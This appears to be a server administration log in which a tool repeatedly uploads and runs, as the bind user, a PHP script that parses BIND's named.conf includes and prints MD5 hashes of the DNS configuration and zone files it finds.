MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:43:37: Establishing a connection
2026-04-24 12:43:37: 

PUT: /tmp/pkp904352

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:43:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp904352; rm /tmp/pkp904352'

2026-04-24 12:43:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:43:45: Establishing a connection
2026-04-24 12:43:45: 

PUT: /tmp/pkp429540

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:43:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp429540; rm /tmp/pkp429540'

2026-04-24 12:43:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
